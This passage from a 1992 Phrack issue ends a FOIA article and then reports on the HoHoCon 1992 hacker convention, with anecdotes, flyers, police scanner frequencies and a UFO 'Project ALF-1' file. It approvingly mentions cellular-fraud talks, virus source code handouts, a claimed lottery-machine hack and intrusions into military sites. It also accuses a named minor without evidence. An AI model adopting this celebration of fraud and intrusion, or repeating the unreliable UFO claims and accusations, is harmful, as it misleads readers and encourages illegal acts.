punish for contempt the responsible employee, and in the case of a uniformed service, the responsible member. (5) Each agency having more than one members shall maintain and make available for public inspection a record of the final votes of each member in every agency proceeding. (6)(A) Each agency, upon any request for records made under paragraph (1),(2), or (3) of the subsection, shall- (i) determine within ten days (except Saturdays, Sundays, and legal public holidays) after the receipt of any such request whether to comply with such request and shall immediately notify the person making such request of such determination and the reasons therefor, and of the right of such person to appeal to the head of the agency and adverse determination; and (ii) make a determination with respect to any appeal within twenty days (excepting Saturdays, Sundays, and legal public holidays) after the receipt of such appeal. If on appeal the denial of the request for records is in whole or in part upheld, the agency shall notify the person making such request of the provisions for judicial review of that determination under paragraph (4) of this subsection. (B) In unusual circumstances as specified in this subparagraph, the time limits prescribed in either clause (i) or clause (ii) of subparagraph (A) may be extended by written notice to the person making such request setting forth the reasons for such extension and the date on which a determination is expected to be dispatched. NO such notice shall specify a date that would result in an extension for more than ten working days. As used in this subparagraph, "unusual circumstances" means, but only to the extent reasonably necessary to the proper processing of the particular request- (i) the need to search for and collect the requested records from field facilities or other establishments that are separate from the office processing the request; (ii) the need to search for, collect, and appropriately examine a voluminous amount of separate and distinct records which are demanded in a single request; or (iii) the need for consultation, which shall be conducted with all practicable speed, with another agency having a substantial interest in the determination of the request or among two or more components of the agency having substantial subject-matter interest therein. (C) Any person making a request to any agency for records under paragraph (1), (2), or (3) of this subsection shall be deemed to have exhausted his administrative remedies with respect to such request if the agency fails comply with the applicable time limit provisions of this paragraph. If the Government can show exceptional circumstances exist and that the agency is exercising due diligence in responding to the request, the court may retain jurisdiction and allow the agency addition time to complete its review of the record. Upon any determination by an agency to comply with a request for records, the records shall be made promptly available to such person making such request. Any notification of denial of any request for records under this subsection shall set forth the names and titles or positions of each person responsible for the denial of such request. (b) This section does not apply to matters that are- (1) (A) specifically authorized under criteria established by an Executive Order to be kept secret in the interest of national defense or foreign policy and (B) are in fact properly classified pursuant to each Executive Order; (2) related solely to the internal personnel rules and practices of the agency; (3) specifically exempted from disclosure by statute; (4) trade secrets and commercial or financial information obtained from a person and privileged or confidential; (5) inter-agency or intra-agency memorandums or letters which would not be available by law to a party other than an agency in litigation with the agency; (6) personnel and medical files and similar files the disclosure of which would constitute a clearly unwarranted invasion of personal privacy; (7) investigatory records compiled for law enforcement purposes, but only to the extent that the production of such records would (A) interfere with enforcement proceeding, (B) deprive a person of a right to a fair trial or an impartial adjudication, (C) constitute an unwarranted invasion of personal privacy, (D) disclose the identity of a confidential source and, in the case of a record compiled by a criminal law enforcement authority in the course of a criminal investigation, or by an agency conducting a lawful national security intelligence investigation, confidential information only furnished by the confidential source, (E) disclose investigative techniques and procedures, or (F) endanger the life or physical safety of law enforcement personnel; (8) contained in or related to examination, operating or condition reports prepared by, one behalf of, or for the use of an agency responsible for the regulation or supervision of financial institutions; or (9) geological and geophysical information and data, including maps, concerning wells. Any responsible segregable portion of a record shall be provided to any person requesting such record after deletion of the portions which are exempt under the subsection. (c) This section does not authorize withholding of information or limit the availability of records to the public, except as specifically stated in this section. This section is not authority to withhold information from Congress. (d) On or before March 1 of each calendar year each agency shall submit a report covering the preceding calendar year to the Speaker of the House of Representatives and President of the Senate for referral to the appropriate committees of Congress. The report shall include- (1) the number of determinations made by such agency not to comply with requests for records made to such agency under subsection (a) and the reasons for each determination; (2) the number of appeals made by persons under subsection (a)(6), the result of such appeals, and the reason for the action upon each appeal that results in a denial of information; (3) the names and titles or positions of each person responsible for the denial of records requested under this section, and the number of instances for participation of each; (4) the results of each proceeding conducted pursuant to subsection (a)(4)(F), including a report of the disciplinary action taken against the officer or employee who was primarily responsible for improperly withholding records or an explanation of why disciplinary action was not taken; (5) a copy of every rule made by such agency regarding this section; (6) a copy of the fee schedule and the total amount of fees collected by the agency for making records available under this section; and (7) such other information as indicates efforts to administer fully this section. The Attorney General shall submit an annual report on or before March 1 of each calendar year which shall include for the prior year a listing of the number of cases arising under this section, the exemption involved in each case, the disposition of such case, and the cost, fees, and penalties assessed under subsections (a)(4)(E),(F), and (G). Such report shall also include a description of the efforts undertaken by the Department of Justice to encourage agency compliance with this section. (e) for purposes of this section, the term "agency" is defined in section 551(1) of this title includes any executive department, military department, Government corporation, Government controlled corporation, or other establishment in the executive branch of the Government (including the Executive Office of the President), or any independent agency. ------------------------------------------------------------------------------ In Conclusion: The Freedom of Information Act is a powerful tool that can be used to benefit yourself and to find out what the feds keep in their log books on you. Use it, just don't abuse it. It gives the individual much power over the government. We no longer have to prove a reason to know the information, but we have a right to know the information. Its the government's job to keep the information away from us. I would also like to mention that regulations and all documents that agencies carry can be found in any major library. This will save you cash and frustration. Anyways, keep the faith, its not that bad out there. And watch comedy central, its good for you. Greets to: All the good users on atdt, the works, tlitd. Stargazer, daemon, joker, shadow, the hopeless warez fanatics. Deranged derelict, jt, and all the other virtual friends I forgot. ------------------------------------------------------------------------------- - ==Phrack Magazine== Volume Four, Issue Forty-Two, File 13 of 14 HoHoCon 1992 Miscellany The hackers were getting nervous. It was understandable. Just a few weeks before HoHoCon and already two other "get-togethers" had experienced turbulence from the authorities. Rumors began to fly that HoHo was to be the next target. Messages bearing ill-tidings littered the underground. Everyone got worked into a frenzy about the upcoming busts at HoHoCon. People began to cancel their reservations while others merely refused to commit one way or the other. But, amidst all the confusion and hype, many declared "Let them try to raid us! I'm going anyway!" These were the few, the proud...the stupid. ------------------------------------------------------------------------------- HoHoCon as I saw it - Erik Bloodaxe (Chris Goggans) I arrived at the Allen Park Inn in the mid afternoon on Friday the 18th. I was promptly greeted by several of my cohorts and a loping transient who introduced himself as "Crunchhhhhhhhh." Yes, John Draper, the infamous Captain Crunch had actually ventured outward to attend our little party. (Yes, Virginia, the rumors are true: The Captain is toothless, unkempt, overbearing and annoying as all hell.) I followed Scott Chasin back to our room, the pack of other early arrivals in close file behind. After storing my gear I noticed that Draper was looming in the doorway ranting furiously about all the smoking in our room. "I've never heard of a hacker who smoked," exclaimed the Captain. Taking this as my cue, I bummed a Djarum off of Crimson Death and took great glee in adding my fumes to the enveloping fog. Draper spent the next 30 minutes attempting to eavesdrop on various conversations in which various old friends were catching up. Not knowing any of us personally, he nonetheless felt obligated to offer his comments about our discussions about life and college and music amidst his coughing and complaining about the smoke. After some time everyone was banished from the room and several of us went out to eat. Scott Chasin, myself, two hackers (The Conflict, & Louis Cypher) along with Gary Poole (covering the entire mess for Unix World) took off for the nearest grease pit. Taco Bell won in proximity, and once surrounded by burritos Scott, Conflict and I began our rant about Unix Security (the lack thereof). Gary whipped out his Unix World pen and pad and began taking notes. I am uncertain whether or not it was the content of our spiel or the asides I repeatedly made regarding the bevy of giggling coeds that garnered the most notes in Gary's booklet. Back at the Con things were spicing up. More people had begun to arrive and the Allen Park Inn staff began to worry about their safety and that of their other guests. One remarked to Jesse (Drunkfux), the sponsor of HoHoCon, "That Draper fellow needs to stay out of the lobby. He was eating large amounts of flesh off his hands and it was scaring some of the visitors." The staff did not know what to think at all when a father arrived with his three sons and after purchasing a room on his credit card told the boys, "Ok guys, Mom will be picking you up on Sunday." This did not concern most of us. It was straight to the bar for us, where Rambone bought Scott & myself a round of Kamikazes. Also at the bar was Bootleg who had just gotten out. (Of what, and for what you can find out on your own.) Bootleg is probably the smartest biker I have ever had the pleasure to meet. We talked about sex, drugs, hawgs, computers, cellular fraud and how close the nearest cabaret was. A small controversy began to arise amidst the hackers at the bar. Stationed near one end of the room was a table lined with older men. "FEDS," someone murmured, gesturing at the group. "Good for them," I said, and left the bar to look for Jesse. When I returned several minutes later the hackers had engaged the strangers in conversation and found that they weren't feds after all. Among this group were Jim Carter of Houston-based Bank Security, and Bernie Milligan of Communications & Toll Fraud Specialists, Inc. Once this news was out tensions eased and everyone continued with their libations. Suddenly I became aware that there was girl in the room. I had seen her out in the courtyard previously but now she was alone. Turning on my "Leisure Suit Larry" charm I grabbed the seat next to her. Melissa had arrived from Austin to cover the event for Mondo-2000. She surprised me by telling me that she knew who I was, where I worked, and even knew my extension number. (I almost fell off the barstool.) Jim & Bernie came over and joined us at the bar. Bootleg, Chaoswiz, Melissa and I engaged them in wild stories about UFO's, hacking, the NSA & the CIA. (Bernie alleged that he was ex-NSA, and Jim ex-CIA. We have not yet determined if they were acting under orders from Col. Jim Beam & Gen. Jack Daniels.) After the ensuing debates on the true formation of the NSA, the group broke up and Melissa and I took off to MC Allah's room to partake of the keg he had brought. We walked in the room and were greeted with the sight of a four-foot boy with a syringe sticking out of his arm. This was a bit much, even for me. I snatched his "medication" away from him and found that it was really only some type of growth hormone. The boy, 8-Ball, was actually 15 and his parents had him on hormones to stimulate his growth. 8-Ball was totally whacked out his mind nonetheless. I think he had ingested such a diverse amount of God knows what by the time we arrived that he was lucky to remember where he was. Later that evening he would become convinced that he was Scott Chasin and confessed to quite a bit of wrongdoing just before he gave offerings at the porcelain alter. Conversations in the keg room left something to be desired. One large hacker named Tony looked at Melissa and in his best British accent asked if he could fondle her breasts. And the debate between MC Allah and Hunter about who could drink the most alcohol reached a climax when both stuck their heads under the keg spigot for extended periods of time. Sometime just before 11:00 the hotel guard, attired in Raiders jacket and a really, really big snow hat (the kind with the poofy ball on top) showed up brandishing his paper baton, (A rolled up Houston Press). "You all needs to get to yaw roomz, nah. I ain'tz ta gonna tell yaw no mo'." Everyone looked the guard over and moved back into the keg room. Thus was born, "Homie da Guard." After he wandered away, everyone moved back out onto the porch. It was getting late and I was supposed to speak the next morning so I tried to get into our room. Scott Chasin, hacker extrordinaire, had locked me out. After beating on the door for 10 minutes, the windows for 5, the walls for 10, and letting the phone ring for another 15 minutes I decided that Scott was a bit too tipsy to unlock the door so I crashed out on Jesse's floor. That night, the water pipes broke. There was some speculation that those evil hackers had "hacked the system." Not. While complaining about the lack of water that night, someone overheard three young attendees at a bank of pay phones attempting to order up a few escorts on "credit." Rumor has it they were successful. The next morning was chaos. By the time we arrived at the conference room there were about 150 people inside. Louis Cypher sat at the door collecting money for the raffle and getting everyone to sign the guest book. Jesse and others were setting up various video equipment and getting things in order. In the back of the room, Bernie sat scanning the crowd with a super-ear, recording the conversations of those sitting. Crunch was up in arms again. "If everyone in here doesn't stop smoking I won't be able to do my speech. If you all want to hear me talk, you will have to stop smoking." Several more cigarettes lit up. After speaking with management, Crunch came back in and asked if everyone smoking would at least move to one side of the auditorium nearest the door. With hesitation, the crowd conceded. The conference got underway with consultant Ray Kaplan taking a census of those in attendance. The group ranged from under 15 to over 50, had professionals and hobbyists, and had enthusiasts for every conceivable type operating system. Ray went on to elaborate on one of his audio conferences in which an FBI officer alluded that one of their key sources of information was "I.R.C." Bootleg got up and spoke on the vast potentials involved with cellular fraud. He discussed how to monitor the reverse channel to obtain ESNs, and where to obtain the equipment to allow you to do such a thing. He later handed out diskettes (IBM format) containing information on how to reprogram cellular phones and where to obtain the equipment necessary to pick subscriber numbers out of the air. Up next, myself and Chasin. Our topic was a bit obscure and cut deliberately short due to concerns about the nature of our speech. During the Dateline NBC piece that featured Chasin a piece of information flashed on the screen that alluded to UFO information stored on military computers. Chasin and I had gained possession of the research database compiled by the hackers who were looking into this. We discussed their project, the rumors surrounding their findings and the fear surrounding the project. Not knowing the true details of this we declined to comment any further, but made the documentation available to anyone who wanted a copy. We finished our speech by answering questions about Comsec, Consultants, etc. Steve Ryan, a Houston lawyer with a great deal of interest in the legal aspects of cyberspace spoke next. He covered several of the current issues affecting the community, spoke on laws in effect, cases pending, and gave an insight to his background that led him to focus in on the issues concerning the electronic community. Next, Jim Carter gave a quick and dirty demonstration of how to monitor electromagnetic radiation and how to do a simple data recovery from this noise. He monitored a small data terminal from a portable television set that was completely unmodified. He then spoke on how to read the EMR from such things as plumbing, the ground, off of window panes, etc. Jim's speech, although highly intriguing, got extremely vague at points, especially regarding technology needed, his own background, etc. (We will attribute this to his "CIA" training.) The Hotel Officials showed up and demanded that everyone get out immediately. Apparently someone had staggered into the kitchen, drunk, and broken something. Steve Ryan left to smooth things out a bit. After a few minutes he returned and told everyone that they could stay, but to keep it quiet tonight. Thus the secret plans of some to drive the hotel golf cart into the pool were crushed. The raffle proved to be an exercise in banality. Everything from flashing street lights to SunOS 4.1.3 to T-shirts to books were auctioned off. One lucky devil even got an official Michael Jackson candy bar. The folks from RDT (Count Zero and White Knight) handed out a large amount of photocopied goodies such as the new "Forbes" article on hackers, a complete set of the old 70's telephony 'zine "TEL" as well as assorted other flyers and pamphlets. Up next, Louis Cypher spoke about his entanglement with the law regarding his front-page bust for counterfeiting. He told of his experiences with the law, how they got involved in such a dastardly deed, what jail was like on the inside, and advice against anyone else considering such a thing. Up last, John Draper. Draper had managed by this time to annoy almost everyone at the convention. A large portion of those in attendance left as soon as he got up. They were the unlucky ones. Draper, for all his oddities, is an intriguing speaker. His life has been quite rich with excitement and when he can actually focus on a subject he is captivating. He spoke on his trip to the Soviet Union where he met computer and telephone enthusiasts in Moscow. He spoke on his unfortunate involvement with Bill SF and the BART Card duplication scandal. He spoke, with obvious longing, of the good old days of blue boxing, and stacking tandems to obtain local trunks, and on verification circuitry. Listening to Draper talk really brought me back to my beginnings. I could hear in my head the "cachink-chink" of a tandem waiting for MF. I remembered stacking tandems to Europe and back to call my other line. I remembered the thrill of finding never before known trunks and exploring their connections. I fell into a deep nostalgic high, and walked up to John to tell him thanks. As I extended my hand to him, he mumbled something unintelligible and wandered off. So much for paying respect. About ten of us took off to Chuy's for dinner: Me, Chasin, Conflict, Rambone, Dispater, Blue Adept, Minor Threat and reporters Joe Abernathy and Gary Poole were among the diners. Everyone ate heartily and listened to cordless telephone conversations on Rogue Agent's handheld scanner. One conversation was between what appeared to be a "pimp" talking to his "ho" about some money owed him by another in his flock. The conversation drifted to the Dallas man who had terrorized an entire neighborhood some months back with prank phone calls. Conflict and Dispater repeated a few of the choicest of the calls for our amusement. Back at the hotel, Dr. Hoffman's Problem Child had escaped, and several casualties were reported. Conflict, Chasin and I barricaded ourselves in our room and went on a lengthy stream of consciousness rant about what we needed out of life. Our absolute essentials were reduced to a small room with a computer hooked into the Internet, a specially designed contour chair, a small hole through which a secretary would give us food, virtual reality sex toys, and a toilet. (Chasin suggested no toilet, but a catheter so we would never have to move.) Gary Poole was quietly stunned in the corner of the room making mental notes. Much of the con had moved into a suite that had been converted into a mass computing arena. Several attendees from Pittsburgh had turned their room into a lab with four Unix workstations with several terminals throughout the room including the bathroom! These were hooked into the Internet through a slip connection that had been rigged somewhere. It was quite a site. The room was usually completely packed and smelled like a smoky gymnasium. (It was rumored that after Chasin and I spoke on the UFO conspiracy, several hackers began their attempts at penetrating the Ames Research Lab. No reports back on their success.) After I finished copying several Traci Lords video tapes (ahem) I relinquished control of the decks to a room downstairs. Dispater played a video manipulation he and Scott Simpson had produced. They had found a TRW training video tape during a trashing run and dubbed in their own dialogue. (You'd have to see it to fully understand.) After that, I played a few tapes of my own. The first was a short film called "Red," that chronicled the abusive prank phone calls directed at a bartender. The film had the actual phone call tapes played with video stills. (Guess where the Simpsons came up with that nifty idea...) Following "Red," someone heard on the scanner that the guard was answering a large noise disturbance in the room we were in. (Yes, they had the hotel guard's 2-meter frequencies.) Everyone moved into another room before the guard showed up. He was thoroughly confused. In the next room I played the ultimate in shock, the sequel to the movie that I had disturbed the entire con with last year, "Nekromantik II." I won't go into any detail, since the title says it all. Once again, I reign as the sickest person at HoHoCon, this honor bestowed upon me by everyone who witnessed the showing. As things winded down, several people ended up back in our room to waste away the last few hours of the night. Several people returned from an adventure to "an abandoned hospital." No one really understood what they went to, but it sounded disturbing. Later, that same group would leave to go climb "an abandoned grain storage tower." Go figure. Approximately 2:00 am, a local hacker named Zach showed up. Scott had a few words for Zach, as did most everyone at the Con. Zach lived in a fantasy land where he was a top notch security consultant with high paying clients in the telecommunications industry. He also like to name drop names like Chasin and Goggans as his partners and as people who would swoop down and terrorize the people he had any problems with. He also liked to turn in, or threaten to turn in any of his rivals in the software pirating community. He also like to proposition young boys both in person and over the phone. At 17, Zach had a few problems. Trapped in the corner of the room, Zach endured about an hour of questioning and accusations (all of which he truly deserved.) Eventually Zach left, apparently not affected by the ordeal at all. We attributed this to his overly apparent schizophrenia brought on by denial of his sexual tendencies. Later that night the Pittsburgh gang blew out the power in their entire wing. One was overheard, "Hmmm...guess we should have known that when the power strips kept melting that we were drawing too much power." The next morning everyone gathered up their gear and said so long. All but a few who gathered in a room marked "the suite of the elite." Armed with a nitrous oxide blaster, everyone sat around and viewed the con through the roaming video eye of Jesse, who had managed to capture everyone in some kind of compromising position. He will be selling them off after he edits it a bit. It was dubbed "The Blackmail Tape." In my opinion this year was much less anarchistic than last year. The convention might not even be banished from this hotel. (Yeah, right.) There were no raids, there were no overtly violent or satanic acts, no fire alarms, no trashing runs (that I saw), no fights, and there were no strippers (alas). The conference portion of the event was much better organized, there was much more interesting information to be shared, and was well worth the distances traveled by all. This was HoHoCon '92. -------------------------- H*O*H*O*C*O*N '92 Frosty's Itinerary Thursday 8pm Take off and go bar hopping all night long to build up stamina for the convention. Thrusday 10pm Quit bar hopping and waste shitloads of money at the casinos in feeble attempts to get gas money for the trip. Friday 5am Leave the casino and decide to get some sleep after spending hours to win a meager $10 over starting cash. Friday 8am Wake up and decide to pack for the trip. Forget necessities that we couldn't live without. Remember to bring junk food. Friday 9am Stuff assembled GCMS members into subcompact Japanese micro car and leech as much gas money out of them as possible. Friday 2pm Stop at the friendly convenient store to rob it of precious sugar-coated necessities and obtain mucho lotto tickets. Friday 4pm Endure Windrunner's gruelling multi-hour long verbatim rantings of taking the Purity Test 1500 verbally. Friday 7pm Pull out many maps and try to find the damn hotel in Houston. Friday 9pm Arrive at the hotel getting a room for one (car stuffed with people sits outside the lobby). Request two keys. Friday 10pm Test the smoke machine on the hotel grounds. Chase young code-kids out of your way, threatening to disable their phones. Friday 11pm Crash in room from lack of sleep. Kick other members out of your way. Ignore multiple alcoholic beverages lining the room. Ponder what's sleeping in the chair briefly. Saturday ??? Try to figure out if you're awake or dead. Take a collection from those that are still alive. Run to some micro-compact Japanese convenience store hidden in the middle of suburbia hell and obtain sugar-coated nutrients with Windrunner and JunkMaster and Gaijin. Saturday 1pm Arrive for the conference. Get mega-amounts of raffle tickets. Saturday 2pm Conference actually gets started a few hours behind schedule. Tape conversations from the man with the whisper 2000 home version. Ponder the light orbiting Erik B's head. Saturday 4pm Witness Steve Ryan in action against the hotel staff. Wonder where the young hack in the corner got the gallon, mostly empty now, of wine. Ponder if he's going to spew. Saturday 6pm Try to figure out what everyone is going to do with the several hundred flashing construction lights given out. Calculated the ratio of men to women as 15,000:1, roughly. Saturday 8pm Try to keep awake while wondering how much torture can be sustained. Watch Count Zero nodding off. Hitman and I pulled out our decoder rings to interpret Crunch's hidden message. Saturday 10pm Dominoes Pizza makes it to the room. OUR SAVIOR !!! He's 5-minutes late. Custody battle over the pizza ensues. The manager is called, at which point he lowers the $50 price for the two pizzas down to $30. We scrape a few dollars and hand the peon delivery boy some cheap beer. Saturday Nite Hand out copies of "cindy's torment" to the code kids. Watch Erik B.'s continuation of necrophiliac desires on the acquired VCR that mysteriously appeared. Avoided the hotel security by changing room while monitoring their frequencies (thanks RDT). Obtained evidence that hackers were breaking into VR R&D departments to engage in endless routines of VR sex for Cyborgasmic responses. Saw Crunch's host's room blow out as the multitudes of computers fry the circuits. Followed the 'sheep' about the hotel. Sunday ??? Woke bright and early to a car locked with the keys inside. Fortunately, 50-odd slim-jims appeared out of nowhere to save the day. Windrunner chauffeured us back to our lair. Sunday 3pm Hacked into the Louisiana Lotto machine from an acoustical modem and laptop from a pay phone to rig the numbers and then bought a ticket. Sunday 7pm Returned to hell. Lost the lotto ticket in the growing pile of sugar-coated necessities sheddings. Cursed. Sunday 8pm Turned the PC on and hit the networks. -------------------------- Jim Carter, president of Bank Security in Houston, TX, wrote the following impressions of HoHoCon for Security Insider Report (December, 1992) HoHoCon was in fact "Unphamiliar Territory" for this "good ole boy," but it didn't take long till I was into the swing of things and telling lies of how we cheat and steal to get our information. Of course, everyone who talked to this "good ole boy" thought he was with one of the three letter agencies. As the stories rolled on about what they (the hackers) could do, such as produce virii that would cause video display terminals and hard drives to smoke, I had to sit back, sip my brewski and say "wow." We sat back, enjoyed a few more rounds, told a few more lies and had a good time. Well, this old boy didn't show until about noon on Saturday. Of course the conference hadn't started yet so we didn't miss anything. The program was kicked off with a number of questions about who, what, where and how. It was difficult to determine how many people were there since the room was packed like a can of sardines. Our estimate was over two hundred, not counting the hackers still in their rooms. Was this another drunken free for all, as in the past? A report was given on cellular hacking and toll fraud. Hackers' rights were presented by an attorney. Also discussed was the stupidity of the press and law enforcement. Some others talked about suppressed information from the federal government concerning UFO's and how hackers are gaining this info. And of course the White House wants to know their sources. Hand outs were given including virii and virus source code. I did decline any virii, but who knew what I would get before this was over. I believe this was the most responsive and gratifying group I have spoken to this year. I also expect to get more business because of this presentation than any other this year. A lengthy door prize was held in which I was the winner of more virii. Again, I did decline, but passed the winning ticket on. Captain Crunch was the final speaker. In conclusion, the attendees were the good, the bad and the ugly. We did find HoHoCon very informative and, yes, we will attend again. In closing, I hope each and everyone had a very "Merry HoHoCon." -------------------------- A (Hacker's) Mind is a Terrible Mind to Waste Unix World, page 136, March 1993 by Gary Andrew Poole [Unix World wanted MONEY to reprint this in full...Yeah, right. Someone already posted it on alt.cyberpunk some time ago if you can't find it anywhere.] *-----------------------------------* Various Stuff Picked up at HoHoCon *-----------------------------------* -------------------------- Flyer: -------------------------- Unphamiliar Territory Phalcon/Skism Western World Headquarters The Ghost in The Machine Distribution Featuring: - 'Neutral Territory' forum where security issues can be discussed with top security people in the field. - Completely LEGAL forums on computer security, hacking, phraud. - Thousands of textfiles covering all aspects of the underground. - Hundreds of viruses and virus source code for the serious programmer. Information: - Administrators are Invalid Media, Mercury/NSA, Warlock Bones and Jaeger. - Run on a professor Falken/LOD donated ZOOM v32bis - Mentioned in MONDO 2000 and reviewed in the latest Infoworld. - Dialin 602-894-1757 / 24 hours -------------------------- Flyer -------------------------- In your defense..... Courtesy Freeside Orbital Data Network, HoHoCon '92 - B. O'Blivion Repeat after me: "If I am reading this to you, then I believe that you are questioning, detaining, or arresting me, or searching my person or possessions in the course of your official duties." "I do not consent to any search of seizure of any part of my person or property, nor to any property of others under my control. I do not consent to any person's examination, search, or removal of any information storage equipment or media in my possession. You are hereby notified that such information storage equipment or media contain private written and electronic mail, confidential communications, and other material protected under the Electronic Communications Privacy Act and other statutes." "I respectfully decline to answer any questions beyond confirmation of my identity, and require access to legal counsel immediately. I demand that access to legal counsel be provided to me before any questioning takes place. I will answer no questions nor give any information outside the presence of legal counsel. All requests for interviews, statements, consents, or information of any sort should be addressed to me through my attorney. I invoke the rights five to me by the Fifth and Sixth Amendments of the Constitution of the United States." "I further notify you that the speech and information contained on information storage and handling devices at this site are protected by the First and Fourth Amendments to the Constitution of the United States, and that any unlawful search or seizure of these items or of the information they contain will be treated as a violation of the Constitutional rights of myself and other users of these devices and media." "I further notify you that any such violations of any person's legal or Constitutional rights which are committed at any time, by any person, will be the subject of civil legal action for all applicable damages sustained. I require that at this time all officers participating in this illegal search, seizure, or arrest identify themselves at this time by name and badge number to me and my legal counsel." [Include if applicable] "I further notify you that I am a Computer System Operator providing private electronic mail, electronic publications, and personal information storage services to users in this State, and among the United States. Any person causing a breach of the security of, or violation of the privacy of, the information and software herein will be held liable for all civil damages suffered by any and all users thereof." -------------------------- Flyer -------------------------- HoHoCon 1992 Amusing Local Frequencies courtesy of -=RDT. Allen Park Inn Security - 464.500 Houston Post - 154.540 173.275 452.975 Houston Police: North Shepherd Patrol - 460.325 NE Patrol - 460.125 SE Patrol - 460.025 SW Patrol - 460.050 Central Patrol - 460.100 Spec. Op. Traffic - 460.350 Car 2 Car - 460.225 South Central Patrol - 460.550 NW Patrol - 460.475 West Patrol - 460.150 Accident - 460.375 Misc - 460.525 460.575 460.400 Records - 460.425 City Marshalls - 453.900 Paging - 155.670 Police Intercity - 453-550 A number of people have been asking "who is RDT? what the hell is RDT?" For the record, we're hackers who believe information should be free. All information. The world is full of phunky electronic gadgets and networks, and we want to share our information with the hacker community. We currently write for 2600 magazine, Phrack, Mondo 2000, Cybertek, and Informatik. The five "charter members" of RDT are Count Zero, Brian Oblivion, Magic Man, White Knight, and Omega. Each of us has complementary skills, and as a group we have a very wide area of technical knowledge. Feel free to contact us. Count Zero - count0@ganglia.mgh.harvard.edu Brian Oblivion - oblivion@ganglia.mgh.harvard.edu Magic Man - magic@ganglia.mgh.harvard.edu White Knight - wknight@ganglia.mgh.harvard.edu Omega - omega@spica.bu.edu "They are satisfying their appetite to know something that is not theirs to know." - Asst. District Attorney Don Ingraham "All-you-can eat buffet...for FREE!" - Restricted Data Transmissions RDT "Truth is Cheap, but Information Costs." -------------------------- Magazine -------------------------- Future Sex (a very odd pseudo-cyberpunk skin mag) 4 issues for $18, Canada $26, International US $48 1095 Market Street Suite 809 San Francisco, CA 94103 415-621-5496 415-621-4946 fax -------------------------- Video -------------------------- Red $19.95 (Phone Pranks can kill) Nekromantik II $29.95 (No comment) Available through Film Threat Video P.O. Box 3170 Los Angeles, CA 90078-3170 USA 818-848-8971 Shipping: 1 tape $3.40 2-3 $4.60 4-6 $5.80 6+ $7.00 Visa/MC accepted. -------------------------- Official HoHoCon Crud -------------------------- HoHoCon '92 Product Ordering Information If you are interested in obtaining either HoHoCon shirts or videos, please contact us at any of the following: drunkfux@cypher.com hohocon@cypher.com cDc@cypher.com dfx@nuchat.sccsi.com drunkfux@ganglia.mgh.harvard.edu 359@7354 (WWIV Net) Freeside Orbital Data Network ATTN: dFx/HoHoCon 11504 Hughes Road Suite #124 Houston, Texas 77089 713-866-4884 (Voice Mail) The shirts are $15 plus $2 shipping ($2.50 for two shirts). At this time, they only come in extra large. We may add additional sizes if there is a demand for them. The front of the shirt has the following in a white strip across the chest: I LOVE FEDS (Where LOVE = a red heart, very similar to the I LOVE NY logo) And this on the back: dFx & cDc Present HOHOCON '92 December 18-20 Allen Park Inn Houston, Texas There is another version of the shirt available with the following: I LOVE WAREZ The video includes footage from all three days, is six hours long and costs $18 plus $2 shipping ($2.50 if purchasing another item also). Please note that if you are purchasing multiple items, you only need to pay one shipping charge of $2.50, not a charge for each item. If you wish to send an order in now, make all checks or money orders payable to O.I.S., include your phone number and mail it to the street address listed above. Allow ten working days for arrival. Thanks to everyone who attended and supported HoHoCon '92. Mail us if you wish to be an early addition to the HoHoCon '93 (December 17-19) mailing list. -------------------------- Text File -------------------------- Rumors have begun to surface about a group of hackers who were involved in a project to uncover information regarding the existence of UFOs. The most public example pertaining to this alleged project was seen on Dateline NBC on the screen of the mystery hacker "Quentin." The story goes that this group of individuals decided to put their skills to work on a project that, if successful, would add legitimacy to the hacking process by uncovering information on what has been called the greatest cover-up in the history of the world. Milnet TAC ID cards were obtained through military officials sympathetic to the cause. Several sites and networks were targeted that had in the past been linked to UFO activity. These were sites like the Jet Propulsion Laboratory, Sandia Labs, TRW Space Research, American Institute of Physics, and various other educational, government and military sites. The rumors also emphasize that several sites had what these individuals called "particularly heavy security." Within several seconds after connection had been established, system administrators of sites used in this project were contacted. Further rumors state that there was information regarding a propulsion system designed utilizing what is termed "corona discharge" being analyzed at one site. The most sinister of all rumors states that one particular participant who was allegedly deeply immersed in TRWs internal network has not been heard from since uncovering data regarding a saucer being housed at one of their Southern California installations. Believe what you will about the reality of this project. Much will be dismissed as hacker lore, but within the core of every rumor lies a grain of truth. Are we being lied to? Why is this information still classified by the NSA? What are they hiding from us behind a maze of security? Will we continue to stand idly by and let an uncaring and deliberately evasive government shield us from what may be the most important, and potential dangerous news to ever surface? Information wants to be free, and only a concerted group effort can make this happen. How much do you really want to know about what is really going on? What follows is information that has been released regarding this project... --------------------------------------------------------------------------- PROJECT ALF-1 A Planetary Effort TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET These are the raw data. Where comments are appropriate, they will be included. The data will be grouped together with dates, names etc. to make correlations easier. There are countless references to the aliens, their down space craft and what the Government is doing with them. If, as is supposed, the research on the craft and the 'ufonauts' continues today, then undoubtedly there are computer records, somewhere. I. Searching the Skies; Tripping the Electronic Fence around the USA. US Space Command Space Surveillance Center, Cheyenne Mountain, Colorado Springs, Box Nine (Electronic Surveillance Room) (This is where they search for and track UFO activity.) U.S. Naval Space Surveillance System, Dahlgreen, Virginia, (Main computer), Lake Kickapoo, Texas (listening post): Search for 'Flash Traffic' Commander Sheila Mondran CINC-NORAD Space Detection and Tracking System Malabar, Forida 'Teal Amber' search National Military Command Center - Pentagon (These are the areas where UFO activity is tracked. There is a radar shield around the country that is 'tripped' by UFO's. All tracking and F14 scrambling is done through this system.) II. The Second Cover Up Defense Intelligence Agency Directorate for Management and Operations Project Aquarius (in conjunction with SRI) Colonel Harold E. Phillips, Army (where/what Feb. 1987) UFO Working Group, (formed Dec 1987) Major General James Pfautz, USAF, Ret. (March 87) US Army experiments -(Monroe Institute, Faber, VA) Major General Albert Stubblebine Capt. Guy Kirkwood, (thousands of feet of film of UFO's catalogued and on record somewhere.) The UFO Working Group was formed because one arm of the Govt doesn't know what the other is doing.) III. National Security NSA NAtional Security Agency, Dundee Society (Super secret elite who have worked on UFO's.) NSA - Research and Engineering Division NSA - Intercept Equipment Division Kirtland Force Base, Office of Special Investigations, Project Beta. 1979-83-? (Sandia Labs are here.) Paul Bennewitz Project Blue Project Blue Book (NSA computers do analysis for Pentagon.) IV. More Secret Players NASA, Fort Irwin, Barstow, CA NASA Ames Research Center, Moffet Field Naval Base SETI State Dept. Office of Advanced Technology Any Astronauts from Mercury, Gemini and Apollo CIA - Office of Scientific Investigation CIA - Domestic Collection Division (NASA has known about UFO's since the astronauts saw and photoed them. 